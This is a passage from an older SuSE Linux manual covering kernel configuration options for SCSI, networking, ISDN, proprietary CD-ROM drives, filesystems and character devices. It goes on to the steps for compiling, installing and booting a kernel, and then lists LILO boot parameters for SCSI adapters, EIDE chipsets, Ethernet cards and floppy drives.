This driver enables communication between the kernel and user processes in both directions.

13.4.8 SCSI

☞ **SCSI Support**

Config Question: `SCSI support`

Config Variable: `CONFIG_SCSI`

If you have SCSI devices installed, activate this option.

☞ **Scsi disk support**

Config Question: `Scsi disk support`

Config Variable: `CONFIG_BLK_DEV_SD`

Activates the SCSI hard disk driver. Do not select this option as a module if you have to boot from a SCSI device! Please be aware that some SCSI controllers can cause problems when loaded as modules!

☞ **Support of SCSI tapes**

Config Question: `Scsi tape support`

Config Variable: `CONFIG_CHR_DEV_ST`

Activates the SCSI streamer driver. The tape can be addressed via the device `/dev/st0`.

☞ **Scsi CDROM support**

Config Question: `Scsi CDROM support`

Config Variable: `CONFIG_BLK_DEV_SR`

Activates the SCSI CD-ROM driver.

☞ **Scsi generic support**

Config Question: `Scsi generic support`

Config Variable: `CONFIG_CHR_DEV_SG`

Enables sending generic SCSI commands to the appropriate devices. This enables you to use special SCSI devices as scanners, synthesizers or SCSI CD-ROMs, provided you have the proper software. A direct kernel support for such devices is not implemented yet.

☞ **Probe all LUNs on each SCSI device**

Config Question: `Probe all LUNs on each SCSI device`

Config Variable: `CONFIG_SCSI_MULTI_LUN`

Some SCSI devices support LUNs (logical unit number) like some CD jukeboxes . Activate this kernel support if you plan to use one of these.

☞ **Verbose SCSI error reporting**

Config Question: `Verbose SCSI error reporting`

Config Variable: `CONFIG_SCSI_CONSTANTS`

Extensive SCSI error reports instead of cryptic hex-codes, enlarges the kernel approximately 12 KB. Only necessary if you have problems and want to research them.

13.4.9 Networking cards

☞ **Network device support?**

Config Question: `Network device support?`

Config Variable: `CONFIG_NETDEVICES`

If there is a networking card installed or you plan to use SLIP (Serial Line Internet Protocol), you should answer `'yes'`.

☞ **Dummy net driver support**

Config Question: `Dummy net driver support`

Config Variable: `CONFIG_DUMMY`

The dummy driver comes in handy for simulating network connections as well as for configuration and use of SLIP and PPP.

☞ **EQL (serial line load balancing)**

Config Question: `EQL (serial line load balancing)`

Config Variable: `CONFIG_EQUALIZER`

If you call two serial lines your own (e. g., two modems) and use SLIP or PPP, you can double your speed by separating the stream on both lines simultaneously. Please also have a look at the README file in `/usr/src/linux/drivers/net/README.eql`.

☞ **FRAD (Frame Relay Access Device) support**

Config Question: `FRAD (Frame Relay Access Device) support`

Config Variable: `CONFIG_DLCI`

Frame Relay is a fast and cheap way for connecting to one's Internet provider or for maintaining a private wide-area network. Via a physical connection, multiple logical connections are transmitted. You need special hardware to run Frame Relay. For more information, see `/usr/src/linux/Documentation/framerelay.txt`.

☞ **Max open DLCI**

Config Question: `Max open DLCI`

Config Variable: `CONFIG_DLCI_COUNT`

Maximum number of Point-to-Point connections the driver can maintain.

☞ **Max DLCI per device**

Config Question: `Max DLCI per device`

Config Variable: `CONFIG_DLCI_MAX`

Maximum number of Point-to-Point connections per device.

☞ **Sangoma S502A FRAD support**

Config Question: `Sangoma S502A FRAD support`

Config Variable: `CONFIG_SDLA`

Support for Sangoma S502A, S502E and S508 frame relay access devices.

☞ **PLIP (parallel port) support**

Config Question: `PLIP (parallel port) support`

Config Variable: `CONFIG_PLIP`

PLIP (Parallel Line Internet Protocol) enables use of the Internet protocol via the parallel interface. A special cable is needed for this. `/usr/src/linux/drivers/net/plip.c` describes the pins of this cable. Please keep in mind that you are not able to connect a printer if the kernel is compiled using this option! In this case, you should not activate `CONFIG_PRINTER` (section 13.4.13, page 284).

☞ **PPP (Point-to-Point) support**

Config Question: `PPP (Point-to-Point) support`

Config Variable: `CONFIG_PPP`

PPP is a more modern protocol than SLIP but, in fact, contains the same features. Please have a look at the `PPP-HOWTO` and the documentation in `/usr/src/linux/Documentation/networking/ppp.txt`. If you have set `CONFIG_MODVERSIONS`, you cannot add the PPP device directly into the kernel but have to compile it as a module.

☞ **SLIP (serial line) support**

Config Question: `SLIP (serial line) support`

Config Variable: `CONFIG_SLIP`

SLIP (Serial Line Internet Protocol) enables the use of the internet protocol via a serial line (e. g., a modem). Also, if you plan to use the machine as a SLIP server, you need to activate this option.

☞ **CSLIP compressed headers**

Config Question: `CSLIP compressed headers`

Config Variable: `CONFIG_SLIP_COMPRESSED`

Use of compressed headers enhances SLIP's performance but is only possible if used and configured on both sides.

☞ **Keepalive and linefill**

Config Question: `Keepalive and linefill`

Config Variable: `CONFIG_SLIP_SMART`

Enhancements mainly for using SLIP on interrupted analog lines.

Now you can select drivers for different networking cards. The kernel even contains Ethernet pocket adapter support. Please see the `Ethernet-HOWTO`.

13.4.10 ISDN subsystem

☞ **ISDN support**

Config Question: `ISDN support`

Config Variable: `CONFIG_ISDN`

ISDN4linux (package `i4l`) has finally become integrated into the standard kernel. We recommend using the module version.

☞ **Support synchronous PPP**

Config Question: `Support synchronous PPP`

Config Variable: `CONFIG_ISDN_PPP`

Enables synchronous PPP via ISDN used, e. g., by Cisco and Sun. Complete documentation can be found in `/usr/src/linux/Documentation/isdn/README.syncppp`.

☞ **Support audio via ISDN**

Config Question: `Support audio via ISDN`

Config Variable: `CONFIG_ISDN_AUDIO`

Enables you to make telephone calls over the internet. The only low-level driver that supports this feature is Teles. This function is also necessary if you want to use the answering machine **vbox**.

☞ **ICN 2B and 4B support**

Config Question: `ICN 2B and 4B support`

Config Variable: `CONFIG_ISDN_DRV_ICN`

Support for **ICN**'s active ISDN cards. Documentation concerning this topic may be found at `/usr/src/linux/Documentation/isdn/` in `README` and `README.icn`.

☞ **PCBIT-D support**

Config Question: `PCBIT-D support`

Config Variable: `CONFIG_ISDN_DRV_PCBIT`

Support for **Octal**'s ISDN cards. For using this card you need additional firmware which has to be loaded into your card. More information can be found under `/usr/src/linux/Documentation/isdn/` in `README` and `README.pcbit`.

☞ **(old)Teles/NICCY1016PC/Creatix support**

Config Question: `Teles/NICCY1016PC/Creatix support`

Config Variable: `CONFIG_ISDN_DRV_TELES`

Support of **Teles S0-16.0**, **Teles S0-16.3**, **Teles S0-8**, and compatible ISDN cards. Please look at `/usr/src/linux/Documentation/isdn/README`. You should use the newer **HiSax** anyway.

13.4.11 Proprietary CD-ROM drives

☞ **Aztech/Orchid/Okano/Wearnes CDROM**

Config Question: `Aztech/Orchid/Okano/Wearnes CDROM`

Config Variable: `CONFIG_AZTCD`

Drivers for those devices with a proprietary CD-ROM controller. Specify ATAPI drives via `CONFIG_BLK_DEV_IDECD` (section 13.4.6, page 269).

☞ **Goldstar R420 CDROM support**

Config Question: `Goldstar R420 CDROM support`

Config Variable: `CONFIG_GSCD`

Driver for Goldstar CD-ROM drive R 420.

☞ **Matsushita/Panasonic CDROM driver support**

Config Question: `Matsushita/Panasonic CDROM driver support`

Config Variable: `CONFIG_SBPCD`

Driver for all CD-ROM drives (even **Creative Labs**, **Kotobuki**, etc.) that are connected to a SoundBlaster card. This driver can drive up to 4 devices. Please read the `CDROM-HOWTO`.

☞ **MicroSolutions backpack CDROM support**

Config Question: `MicroSolutions backpack CDROM support`

Config Variable: `CONFIG_BPCD`

This is a beta driver for CD-ROMs connected to a parallel port. Since this driver is not implemented in the standard kernel, this option is only present if you have installed an appropriately patched kernel. If you use this driver, your parallel port cannot be used for anything else. That is why loading this device as a module is recommended.

☞ **Support for proprietary Mitsumi CD-ROMs**

Config Question: `Mitsumi (not IDE/ATAPI) CDROM driver`

Config Variable: `CONFIG_MCD`

Driver for proprietary **Mitsumi** drives with their own controller. This does not apply to ATAPI CD-ROMs, e. g., the **FX-400**.

☞ **Mitsumi [XA/MultiSession] CDROM support**

Config Question: `Mitsumi [XA/MultiSession] CDROM support`

Config Variable: `CONFIG_MCDX`

Driver for proprietary **Mitsumi** drives with their own controller which also supports XA and multisession (Photo CDs).

☞ **Optics Storage DOLPHIN 8000AT CDROM**

Config Question: `Optics Storage DOLPHIN 8000AT CDROM`

Config Variable: `CONFIG_OPTCD`

Driver for the **Optics Storage** CD-ROM drive **DOLPHIN 8000AT**.

☞ **Philips/LMS CM206 CDROM support**

Config Question: `Philips/LMS CM206 CDROM support`
Config Variable: `CONFIG_CM206`
Driver for the **Philips CM206**.

☞ **Sanyo CDR-H94A CDROM support**

Config Question: `Sanyo CDR-H94A CDROM support`
Config Variable: `CONFIG_SJCD`
Driver for the **Sanyo CDR-H94A**.

☞ **Soft configurable cdrom interface card**

Config Question: `Soft configurable cdrom interface card`
Config Variable: `CONFIG_CDI_INIT`
Supports software configured drives which have to be initialized at boot time. At the moment, there is support for the **ISP16/MAD16/Mozart**.

☞ **Sony CDU31A/CDU33A CDROM driver support**

Config Question: `Sony CDU31A/CDU33A CDROM driver support`
Config Variable: `CONFIG_CDU31A`
Driver for the Sony CDU31A and CDU33A. Be aware that the driver no longer does autoprobe. Now you have to give the necessary parameters at the boot prompt. Therefore, you should add these values to your LILO configuration file on the **`append`** line (chapter 14).

☞ **Sony CDU535 CDROM driver support**

Config Question: `Sony CDU535 CDROM driver support`
Config Variable: `CONFIG_CDU535`
Driver for the Sony CDU535.

13.4.12 Filesystems

☞ **Quota support**

Config Question: `Quota support`
Config Variable: `CONFIG_QUOTA`
Enables you to assign disk space to the several users on your system (disk quotas). This is only useful for systems with multiple users and only works with the ext2 filesystem.

☞ **Mandatory lock support**

Config Question: `Mandatory lock support`
Config Variable: `CONFIG_LOCK_MANDATORY`
Mandatory locking is used by some System V database applications. For using this feature, you will need newer NFS daemons as well as a new SAMBA, new Nettalk, new Mars-nwe, and more. At the moment, none of these are available. Therefore, you should only activate this option if you really need it and if you are absolutely sure of what you are doing.

☞ **Standard (minix) fs support**

Config Question: `Standard (minix) fs support`

Config Variable: `CONFIG_MINIX_FS`

Minix was the first filesystem available for Linux. Due to its restrictions (maximum size of a filesystem is 64 MB, filenames only 14 characters long), it is more or less only used for installation disks.

☞ **Extended fs support**

Config Question: `Extended fs support`

Config Variable: `CONFIG_EXT_FS`

The extended filesystem was the first Linux-specific filesystem which got rid of the restrictions of Minix. It is not used any more and has only nostalgic value.

☞ **Second extended fs support**

Config Question: `Second extended fs support`

Config Variable: `CONFIG_EXT2_FS`

The Second Extended Filesystem is now the standard Linux filesystem.

This filesystem *has* to be compiled into the kernel since it is root's standard filesystem! Use as a loadable module, therefore, is not possible!

☞ **xiafs filesystem support**

Config Question: `xiafs filesystem support`

Config Variable: `CONFIG_XIA_FS`

The Xia filesystem was the "opponent" of the Second Extended Filesystem in the early days of Linux. Nowadays, it is no longer important.

☞ **DOS FAT fs support**

Config Question: `DOS FAT fs support`

Config Variable: `CONFIG_FAT_FS`

Basic FAT support for FAT filesystems such as MS-DOS and VFAT.

☞ **MSDOS fs support**

Config Question: `MSDOS fs support`

Config Variable: `CONFIG_MSDOS_FS`

If you enable this option, you will be able to access your MS–DOS partitions from within Linux. Many installation packages for Linux come with disks in DOS format. If you want to use them, you need this option enabled.

☞ **VFAT (Windows-95) fs support**

Config Question: `VFAT (Windows-95) fs support`

Config Variable: `CONFIG_VFAT_FS`

Enables accessing Windows 95 partitions with long filenames. This filesystem cannot be used as a root partition. Use the UMSDOS filesystem instead. You can mount a Windows 95 partition either as a DOS partition or as a VFAT partition. You will only get long filenames with the latter.

☞ **umsdos: Unix like fs on top of FAT**

Config Question: `umsdos: Unix like fs on top of FAT`

Config Variable: `CONFIG_UMSDOS_FS`

Demo mode

UMSDOS is an add-on to the MS-DOS filesystem which enables you to create files in normal DOS partitions with all the properties and permissions of UNIX files. This information is kept in a special file which will be created in every directory of the used filesystem and which is kept up to date by the UMSDOS filesystem. Furthermore, this filesystem enables you to install a Linux demo mode on an existing DOS partition. Of course, accessing this filesystem is much slower than the Second Extended File System.

☞ **`/proc` filesystem support**

Config Question: `/proc filesystem support`

Config Variable: `CONFIG_PROC_FS`

Recommended

The process filesystem represents an easy to use means of receiving process information and kernel addresses. This, in fact, is a virtual filesystem. Thus, it does not occupy any disk space. This filesystem is needed for gathering information on processes (e. g., **ps**, **free** and others) and is, therefore, really important and necessary.

☞ **NFS filesystem support**

Config Question: `NFS filesystem support`

Config Variable: `CONFIG_NFS_FS`

Enables transparent mounting of remote partitions via a network in one's own directory tree.

☞ **Root file system on NFS**

Config Question: `Root file system on NFS`

Config Variable: `CONFIG_ROOT_NFS`

Allows you to mount even the root directory via NFS. This is for installing diskless workstations.

☞ **SMB filesystem support**

Config Question: `SMB filesystem support`

Config Variable: `CONFIG_SMB_FS`

If you need to mount disks running Windows 95 or NT, you need this filesystem. If you want the Linux machine to serve as an SMB server for the appropriate clients, this filesystem is not needed. More information concerning this topic can be found in `/usr/src/linux/Documentation/filesystems/smbfs.txt` and in chapter 8.

☞ **NCP filesystem support**

Config Question: NCP filesystem support

Config Variable: CONFIG_NCP_FS

Enables you to connect volumes of a Novell NetWare server to your directory tree, thus gaining full access to it. This requires that the kernel support IPX (see section 13.4.7, page 274). See also /usr/src/linux/Documentation/filesystems/ncpfs.txt.

☞ **ISO9660 cdrom filesystem support**

Config Question: ISO9660 cdrom filesystem support

Config Variable: CONFIG_ISO9660_FS

The filesystem used for CD-ROMs. If this is disabled no access to CD-ROM drives is possible.

☞ **OS/2 HPFS filesystem (read only)**

Config Question: OS/2 HPFS filesystem (read only)

Config Variable: CONFIG_HPFS_FS

OS/2's own *High Performance Filesystem*. Since there is no information on this filesystem and the Linux implementation relies mainly on guesses, there is only read access to it.

☞ **System V/Coherent filesystem support**

Config Question: System V/Coherent filesystem support

Config Variable: CONFIG_SYSV_FS

SCO, **Coherent** and **Xenix** are all commercial UNIX systems for PCs and use this filesystem. If you plan to access one of these disks or floppies, you have to activate this option. If you only plan to access these filesystems via ☞*NFS*, of course, you do not need it in your own kernel.

☞ **Amiga FFS filesystem support**

Config Question: Amiga FFS filesystem support

Config Variable: CONFIG_AFFS_FS

The Fast File System (FFS) is used by Amiga machines since version AmigaOS 1.3 (34.20). If you plan to access one of these partitions, you have to enable this option. Unfortunately, access to Amiga disks is not possible since their disk controllers are not compatible.

☞ **UFS filesystem support (read only)**

Config Question: UFS filesystem support (read only)

Config Variable: CONFIG_UFS_FS

BSD and some of its derivatives (**SunOS**, **FreeBSD**, **NetBSD**, **NeXTstep**) use this filesystem. Activating this option enables read only access on these filesystems.

13.4.13 Character devices

☞ **Standard/generic serial support**

Config Question: `Standard/generic serial support`
Config Variable: `CONFIG_SERIAL`

Recommended! Support for serial ports. Needed if you plan to install a mouse.

☞ **Digiboard PC/Xx Support**

Config Question: `Digiboard PC/Xx Support`
Config Variable: `CONFIG_DIGI`
Drivers for Digiboard's multi-serial cards.

☞ **Cyclades async mux support**

Config Question: `Cyclades async mux support`
Config Variable: `CONFIG_CYCLADES`
Cyclades multi-serial drivers.

☞ **Stallion multiport serial support**

Config Question: `Stallion multiport serial support`
Config Variable: `CONFIG_STALDRV`
Stallion multi-serial driver.

☞ **Parallel printer support**

Config Question: `Parallel printer support`
Config Variable: `CONFIG_PRINTER`
Driver for connecting a printer to the parallel port. If you want to use PLIP (`CONFIG_PLIP`, section 13.4.9), you should not activate this option. If you want to benefit from both, you must either patch the kernel or compile both drivers as modules (see section 13.2) and load them on demand. More information can be found in the `Printing-HOWTO`.

☞ **Mouse Support (not serial mice)**

Config Question: `Mouse Support (not serial mice)`
Config Variable: `CONFIG_MOUSE`
If you do not use a serial mouse but a mouse with its own interface, or a PS/2 mouse, you have to set this option. Selecting a busmouse is done like this. The interrupt used by the mouse (default is IRQ 5) is set in `/usr/src/linux/include/linux/busmouse.h`. Either change this value or parse the appropriate parameter at boot time.

☞ **ATIXL busmouse support**

Config Question: `ATIXL busmouse support`
Config Variable: `CONFIG_ATIXL_BUSMOUSE`
Driver for ATIXL busmice (on ATI graphics cards).

☞ **Logitech busmouse support**

Config Question: `Logitech busmouse support`
Config Variable: `CONFIG_BUSMOUSE`
Driver for Logitech busmice.

☞ **Microsoft busmouse support**

Config Question: `Microsoft busmouse support`
Config Variable: `CONFIG_MS_BUSMOUSE`
Driver for the Microsoft busmouse.

☞ **PS/2 mouse (auxiliary device) support**

Config Question: `PS/2 mouse (auxiliary device) support`
Config Variable: `CONFIG_PSMOUSE`
Driver for the PS/2 mouse. In almost every notebook, the integrated mouse is touchpad, trackpoint and PS/2 compatible.

☞ **Support for user misc device modules**

Config Question: `Support for user misc device modules`
Config Variable: `CONFIG_UMISC`
Support for some modules which are not part of the kernel and which should be loaded on demand (e. g., touch screens). If you intend to design such a driver or just want to test, you should say `'yes'`, all others say `'no'`.

☞ **QIC-02 tape support**

Config Question: `QIC-02 tape support`
Config Variable: `CONFIG_QIC02_TAPE`
Driver for streamers which are neither connected to a SCSI nor to an IDE bus (floppy tape).

☞ **Ftape (QIC-80/Travan) support**

Config Question: `Ftape (QIC-80/Travan) support`
Config Variable: `CONFIG_FTAPE`
Driver for floppy tape streamer.

☞ **number of ftape buffers**

Config Question: `number of ftape buffers`
Config Variable: `NR_FTAPE_BUFFERS [3])`
Number of buffers for the FTape driver.

☞ **Advanced Power Management BIOS support**

Config Question: `Advanced Power Management BIOS support`
Config Variable: `CONFIG_APM`
Enables power management with machines that conform to the standard. This is mainly of interest to notebook owners. This feature does not work with **TI 4000M TravelMate** and **ACER 486/DX4-75**, since they do not follow the standard.

☞ **Watchdog Timer Support**

Config Question: `Watchdog Timer Support`

Config Variable: `CONFIG_WATCHDOG`

If you enable this, you release a "watchdog". If a certain file (`/dev/watchdog`) is not written for more than one minute, the machine is booted automatically. This might come in handy for network servers that want to keep the down-time as short as possible.

☞ **Enhanced Real Time Clock Support**

Config Question: `Enhanced Real Time Clock Support`

Config Variable: `CONFIG_RTC`

Allows access to the real-time hardware clock. Further information can be found in `/usr/src/linux/Documentation/rtc.txt`.

13.4.14 Sound cards

☞ **Sound card support**

Config Question: `Sound card support`

Config Variable: `CONFIG_SOUND`

Driver for different sound cards. They are configured in a separate step. The Linux kernel in the meantime supports almost any well-known sound card. More information is in `\usr\src\linux\drivers/sound`.

13.4.15 Kernel

☞ **Kernel profiling support**

Config Question: `Kernel profiling support`

Config Variable: `CONFIG_PROFILE`

This is for kernel hackers who want to know what the kernel does and how long it takes.

13.5 Compiling the kernel

After adapting the kernel to your needs, start compilation by entering:

```
earth:/usr/src/linux # make dep
earth:/usr/src/linux # make clean
earth:/usr/src/linux # make zImage
```

These three commands can be entered on one line as well. The are started one after the other. This might be useful if you want to, for example, compile a kernel overnight. Just enter:

```
earth:/usr/src/linux # make dep clean zImage
```

Depending on your system, it now takes from 4 minutes (fast **PentiumPro**[1]) up to several hours (386 with 8 MB) to build a kernel. While compiling, you can, of course, work on one of the other consoles. After a successful

[1] A very popular test for hardware and software is to compile the kernel with `make -j`. You will need quite a lot of RAM (more than 100 MB). This launches a compiler for each source file.

compilation, you will find the kernel under `/usr/src/linux/arch/i386/boot`. The kernel image (the file containing the kernel) is known as `zImage`. If this file does not exist, then your compile was not successful. The error may have been lost in all the output. Verify it by entering:

```
earth:/usr/src/linux # make zImage
```

and watch for error messages. But do not panic: errors are very rare! If you have configured some parts as modules, you have to compile these modules as well by entering:

```
earth:/usr/src/linux # make modules
```

When the modules have been compiled successfully, you must install them into the appropriate directories (`/lib/modules/<Version>`) by entering:

```
earth:/usr/src/linux # make modules_install
```

13.6 Install kernel

After having compiled a kernel, you have to make sure that it is used from now on. If you use LILO, you have to reinstall it. Normally, you can just copy the new kernel to `/vmlinuz` and invoke LILO:

```
earth:/ # lilo
```

However, to reassure that nothing unexpected happens, it is recommended that you keep the old kernel bootable just in case of emergency.

To accomplish this, enter an additional label **`/vmlinuz.old`** into `/etc/lilo.conf` as boot image and rename the old kernel to `/vmlinuz.old`, thus making sure that you can boot the old one if the new one happens to fail. This is thoroughly described in chapter 4. When you have adapted `/etc/lilo.conf` to your needs, you can enter:

```
earth:/usr/src/linux # make zlilo
```

to install LILO automatically after having compiled the kernel.

If you boot Linux via DOS using `linux.bat` (`loadlin`), you have to copy the kernel to `/dosc/loadlin/zimage`[2] for it to become active at the next boot.

Furthermore, the file `/System.map` contains kernel symbols which are needed by the modules to launch kernel functions correctly. This file depends on the current kernel. Therefore, you should copy `/usr/src/linux/System.map`[3] to the root directory (`/`). If you create your kernel using **`make zlilo`**, this is done for you automatically.

If you get an error message like `"System.map does not match actual kernel"`, then probably `System.map` has not been copied.

13.7 Creating a boot disk

If you want to create a boot disk with the new kernel, you can use the following command:

```
earth:/usr/src/linux # make zdisk
```

[2] or to the directory where you have installed `loadlin`.

[3] This file is created every time you create a new kernel.

13.8 Cleaning your disk after compilation

You can delete the object files created during compilation if you do not have enough space on your disk with:

```
earth: # cd /usr/src/linux
earth:/usr/src/linux # make clean
```

If there is plenty of space and you plan to compile a kernel more often, you might skip the last step. A new compilation will then be faster, as only those parts of the system are re-compiled that have changed.

Chapter **14**

Kernel parameters

14.1 Drivers in the kernel

There is a wide variety of PC hardware. To access this hardware using Linux, you need the appropriate driver. The Linux kernel has to cooperate with this driver and your hardware. Generally, there are two ways of integrating drivers into your system:

- These drivers can be compiled directly into the kernel. Such a kernel is referred to as a *monolithic* kernel. We supply monolithic kernels on our CD for creating boot disks for exotic hardware. Some drivers are not available as modules and have to be compiled directly into the kernel.
- Drivers can be loaded into the system at runtime on demand as modules. This should be preferred since it reduces the amount of code being loaded at a given time, thus saving memory. Our SuSE boot disk kernel makes use of modules to support most hardware configurations.

  Some drivers do not yet exist as modules. These include all drivers for EIDE controllers, which, therefore, are compiled directly into our kernel on the SuSE boot disk.

Nevertheless, it can still happen that a hardware component is not recognized. In that a case, you can pass parameters to the kernel to help it.

With monolithic kernels, parameters have to be passed by LILO or **loadlin**. That is why they are normally referred to as LILO parameters. Modular drivers get their parameters via **insmod** or **modprobe** and start simultaneously.

Unfortunately, the format for LILO parameters is different from **loadlin** parameters. That is why they are separated into two groups and shown separately. Some modules have generalized parameters (e. g., CD-ROM drives) where you can use the same parameters either with LILO or with **loadlin**.

14.2 Some hints

Before we present the list of parameters, here are some hints on recognizing hardware, passing parameters and booting using the SuSE boot disk:

- Most drivers can do an *autoprobing*, e. g., test different standard addresses where this hardware can usually be found. While autoprobing, a driver can initialize an address that does not belong to it. Then the machine will hang.

- Some modules can be loaded successfully even if their hardware is not installed. This applies mainly to **3Com** networking card drivers.

  You should try autoprobing first. Unused drivers can be easily removed. Hardware that is not automatically recognized must then be started using the appropriate parameters.
- Some drivers are not available as modules. These include, for example, all EIDE drivers. So, if you have only EIDE components (hard disk or CD-ROM), you do not need to load modules when booting with the SuSE boot disk.
- Finally, there are some hardware components that have more than one driver (e. g., **NCR 53C810**, **Ultrastor**). As far as we know, there is no significant difference between these two Ultrastor drivers. The BSD driver for NCR53C810 also supports other NCR53C8xx products (e. g., 53C875), whereas the old NCR driver is the only one that recognizes CD writers. Use the one that suits your needs.

14.3 The parameters

14.3.1 Notation and meaning

Below you will see an alphabetical list of kernel parameters and the corresponding devices. The following parameters always have the same meaning:

<addr>	hexadecimal port address, (e. g., 0x300)
<irq>	interrupt to access the device (e. g., 7)
<dma>	DMA channel of the device (e. g., 1)
<Start address>,	
<End address>	hexadecimal memory allocation for *shared memory*

Table 14.1: Frequently used variable names for kernel parameters

We are mainly concerned with the parameters that are required for a successful installation. But there are other parameters for special aims and purposes. Please keep in mind that upper case letters are significant.

A complete introduction to possible kernel parameters can be found after installation in the `BootPrompt-HOWTO` in `/usr/doc/howto`.

14.3.2 LILO parameters

The parameters listed in this section can only be entered at the LILO prompt (or via **loadlin**) to the kernel. If you plan to install one of these drivers as a module, please look at the parameters in section 14.3.3.

All parameters must be entered directly one after another, separated by commas. There should not be a blank (whitespace) between the parameters.

- *Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI host adapter*

  `aha152x=`<**`addr`**>**`,`**<**`irq`**>**`,`**<**`id`**>**`[,`**<**`rec`**>**`[,`**<**`par`**>**`]]`**

Variable	Values / Meaning
<**`id`**> (SCSI ID of the host adapter)	`0, 1`
<**`rec`**> (reconnect)	`0, 1`
<**`par`**> (parity)	`0, 1`

  This driver serves for running many low-cost SCSI controllers. All sound cards with a SCSI controller (except for **Pro Audio Spectrum**) can be accessed using the installed Adaptec chip.

  For all not-original 152x, the fourth parameter (**`RECONNECT`**) seems to be necessary. For most types, it has to be set to '`0`'. Only the AHA2825 needs '`1`'.

  Example: **`aha152x=0x300,10,7`**

- *Adaptec AHA-1540 / 1542 SCSI host adapter*

  `aha1542=`<**`addr`**>**`[,`**<**`buson`**>**`,`**<**`busoff`**>**`[,`**<**`DMA speed`**>**`]]`**

Variable	Values / Meaning
<**`buson`**>	`2..15`
<**`busoff`**>	`1..64`
<**`DMA speed`**>	`5,6,7,8,10`

  Example: **`aha1542=0x300`**

- *Adaptec AHA-274x / 284x / 294x host adapter*

  `aic7xxx=`<**`translation`**>**`,`**<**`busreset`**>

Variable	Values / Meaning
<**`translation`**>	**`extended`** activates translation mode
<**`busreset`**>	**`no_reset`** disables resetting the SCSI bus while initializing the host adapter.

  Example: **`aic7xxx=no_reset`**

  Use **`no_reset`**, if the machine hangs at SCSI reset.

  The SCSI host adapter Adaptec 2920 is supported by the Future Domain driver (see section 14.3.2, page 295).

- *AdvanSys SCSI host adapter*

  `advansys=`<**`addr1`**>**`,`**<**`addr2`**>**`,...,`**<**`addrN`**>

  Example: **`advansys=0x110,0x210`**

  This example tells the kernel to search for the AdvanSys host adapter at the given addresses.

- *AM53/79C974 SCSI host adapter*

  AM53C974=<host-id>,<target-id>,<rate>,<offset>

Variable	Values / Meaning
<**host-id**>	the host adapter's SCSI ID (often 7)
<**target-id**>	the device's SCSI ID (often `0..7`)
<**rate**>	`3,5,10` MHz/s max. transfer rate
<**offset**>	transfer mode; `0` = asynchron

  If the host adapter seems to "swallow" some packages, reduce the maximum transfer rate for this device (e. g., the first CD-ROM SCSI drive `/dev/scd0` with ID 5) on the SCSI bus with:

  Example: **AM53C974=7,5,3,0**

- *Amount of SCSI devices per ID*

  max_scsi_luns=<anzahl>

Variable	Values / Meaning
<**anzahl**>	`1..8`

  Example: if the first LUN (logical unit number) is used explicitly, you have to set the parameter **max_scsi_lun=1**.

- *ATAPI CD-ROM* on the (E)IDE controller

  hd<x>=cdrom
  hd<x>=serialize

Variable	Values / Meaning
<**x**>	a, b, c, d

  where:

Variable	Values / Meaning
`a`	master on 1st IDE controller
`b`	slave on 1st IDE controller
`c`	master on 2nd IDE controller
`d`	slave on 2nd IDE controller

  Example: an ATAPI CD-ROM as master on the secondary IDE controller is set by **hdc=cdrom**.

- *Aztech CDA268-01 CD-ROM*

  aztcd=<addr>[,0x79]

  The value `0x79` has only to be set when the firmware version is unknown.

  Example: **aztcd=0x320**

  Since probing this driver takes extremely long, it is recommended that you pass **aztcd=0** if the parameter is not needed. With our installation kernels, disabling can also be done with **aztcd=off**.

- *BusLogic SCSI host adapter*

  BusLogic=<**addr**>

  Example: **BusLogic=0x300**

  This host adapter can be configured with far more parameters but these only serve for fine tuning the device and are described in `/usr/src/linux/drivers/scsi/BusLogic.c`.

- *EIDE controller chipsets*

  Some EIDE controllers have faulty chipsets or cause problems if the secondary controller is used.

  Many of these chipsets are supported in the kernel (section 13.4.6, page 270) which must be activated using a kernel parameter.

  The following chipsets can be configured:

CMD 640	This chipset is found on many motherboards. Since it contains many bugs, the kernel offers a special support which recognizes the chip and bypasses the problems. Moreover, in some cases, use of the secondary controller is only possible by using this special support. In PCI systems, this chip is automatically recognized. For VLB systems, the following parameter is needed: **ide0=cmd640_vlb**.
RZ 1000	This chip is used on many motherboards that use the Neptune chipset and it is buggy. If support for this chip is activated, the system works a little slower but reliably. An additional activation with a kernel parameter is not required.
DTC-2278	Only activating this driver via **ide0=dtc2278** makes it possible to use the secondary controller.
Holtek HT6560B	For activating the secondary controller, the following parameter is needed: **ide0=ht6560b**.
QDI QD6580	If this driver is activated, it enables a higher speed: **ide0=qd6580**.
UMC 8672	For activating the secondary controller, the following parameter is needed: **ide0=umc8672**.
ALI M1439/M1445	For activating the secondary controller, the following parameter is needed: **ide0=ali14xx**.
PROMISE DC4030	For activating the secondary controller, the following parameter is needed: **ide0=dc4030**. CD-ROMs and tapes on the secondary controller are not supported yet.

Table 14.2: Special EIDE chipsets

- *Ethernet networking cards*

  ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<Name>

  The different parameters for <**par1**> to <**par8**> have different meanings for several drivers. Mostly, only two parameters are needed, where the first is the start address and the second is the end address of *shared memory*. The first non-numerical argument is treated as the name.

<**irq**>	used interrupt; 0 for autoprobing
<**addr**>	port address; 0 for autoprobing
<**start**>	start address for shared memory. Some drivers use the 4 lowest bits for the debug level. The **Lance** uses them for its DMA channel.
<**end**>	end address for shared memory. The **3COM 3c503** driver uses this parameter to distinguish between internal and external transceivers. The **Cabletron E21XX** card uses the lowest four bits for selecting the media.
<**Name**>	The interface's name (normally **eth0**)

Table 14.3: Variable names for Ethernet networking cards

The main reason for passing this parameter is to let the kernel recognize more than one networking card, since only the first card is searched by default. This can easily be done with:

```
ether=0,0,eth1
```

Please note that, by passing 0 for both IRQ and address, the driver is explicitly told to launch *autoprobing*, which means probing several addresses independently.

- *Floppy disk drives*

  floppy=<drive>,<type>,cmos

Variable	Values / Meaning
<**drive**>	0, 1, 2, 3
<**type**>	0 - unknown or not recognized
	1 - 5 1/4" DD, 360 KB
	2 - 5 1/4" HD, 1.2 MB
	3 - 3 1/2" DD, 720 KB
	4 - 3 1/2" HD, 1.44 MB
	5 - 3 1/2" ED, 2.88 MB
	6 - 3 1/2" ED, 2.88 MB

floppy=<value>

For <**value**>, the following values may be set (table 14.4):

all_drives	more than two floppy disk drives
asus_pci	denies access to 3rd and 4th floppy disk drives
daring	only with reliable controllers—enhances performance
0,daring	opposite of **daring**
<**addr**>**,two_fdc**	If the value <**addr**> is omitted while using a secondary floppy controller, a port address of `0x370` is set.
thinkpad	**IBM Thinkpad** machines
0,thinkpad	not a Thinkpad machine
